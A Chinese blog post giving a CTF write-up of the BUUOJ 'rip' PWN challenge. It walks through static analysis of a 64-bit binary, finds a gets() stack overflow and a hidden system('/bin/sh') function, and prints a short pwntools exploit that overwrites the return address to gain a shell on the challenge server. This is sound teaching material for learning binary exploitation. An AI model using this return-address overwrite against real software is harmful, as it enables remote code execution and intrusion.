buuoj

题目(二):
【题型】PWN
【题目】rip
【来源】(buuoj)https://buuoj.cn/challenges#rip
【思路】栈溢出
【具体步骤】
Step1:使用checksec指令检查是否有保护,发现是一个没有任何保护(NX)的64位的程序,开启了栈不可执行。
在这里插入图片描述

Step2:将文件放到IDApro下进行静态分析。
在这里插入图片描述

Step3:点击view下的open subviews下的strings,然后发现bin/sh,点击查看
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

Step4:然后按下shift+X,发现/bin/sh的地址在fun函数里面,然后查看fun函数,(先找到fun函数,然后点击F5,如果被占用,则按下Fn加F5)顺便查看fun函数的起始地址。Fun函数内容发现返回system函数。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Step5:查看主函数,点击main,然后F5查看伪代码,发现里面有一个gets函数,s的长度为0xf(0x0+0x0f=0x0f),但是栈的大小只有15个字节,gets可以无限输入,所以存在栈溢出。
在这里插入图片描述
在这里插入图片描述

Step6:编写代码,构建exp。
源码为:

from pwn import *
p=remote("node4.buuoj.cn",26085)
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
p.sendline(payload)
p.interactive()

在这里插入图片描述

Step7:然后输入ls,发现可以与shell交互,然后查看文件有flag这个文件,查看这个文件,输入指令cat flag,得到flag。
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值